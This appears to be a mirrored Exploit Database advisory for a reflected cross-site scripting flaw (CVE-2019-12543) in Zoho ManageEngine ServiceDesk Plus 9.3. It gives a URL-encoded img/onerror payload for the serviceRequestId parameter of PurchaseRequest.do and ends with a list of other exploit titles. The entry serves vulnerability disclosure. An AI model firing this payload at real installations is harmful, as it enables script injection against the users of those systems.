Zoho ManageEngine ServiceDesk Plus 9.3 – ‘PurchaseRequest.do’ Cross-Site Scripting

Exploit Database
112 阅读

作者： Vingroup

日期： 2019-06-04
类别：
- webapps
平台：
- java
来源：https://www.exploit-db.com/exploits/46966/

# Exploit Title: Zoho ManageEngine ServiceDesk Plus 9.3 Cross-Site Scripting via PurchaseRequest.do

# Date: 2019-06-04

# Exploit Author: Tarantula Team - VinCSS (a member of Vingroup)

# Vendor Homepage: https://www.manageengine.com/products/service-desk

# Version: Zoho ManageEngine ServiceDesk Plus 9.3

# CVE : CVE-2019-12543

Information Description: An issue was discovered in Zoho ManageEngine ServiceDesk Plus 9.3. There is XSS via the PurchaseRequest.do serviceRequestId parameter.

Attack vector: domain/PurchaseRequest.do?operation=getAssociatedPrsForSR&serviceRequestId=g24aj%3Cimg%20src%3da%20onerror%3dalert(%27XSS%27)%3Eqdaxl

PoC: https://drive.google.com/file/d/1pHeq446oNonw5ZJ53idKhP8gC-9CZtQW/view

last Exploits
Zoho ManageEngine ServiceDesk Plus 9.3 – ‘PurchaseRequest.do’ Cross-Site Scripting的更多信息

Joomla! Component com_jdirectory – SQL Injection：
JBoss AS 3/4/5/6 – Remote Command Execution：
FlashComs Chat 6.5 – Arbitrary File Upload：
u5CMS 3.9.3 – ‘thumb.php’ Local File Inclusion：
Woltlab Burning Board Lite Addon – ‘lexikon.php’ SQL Injection：
Online Thesis Archiving System 1.0 – SQLi Authentication Bypass：
Pithcms 0.9.5 – Local File Inclusion：
Employee Management System 1.0 – Cross Site Scripting (Stored)：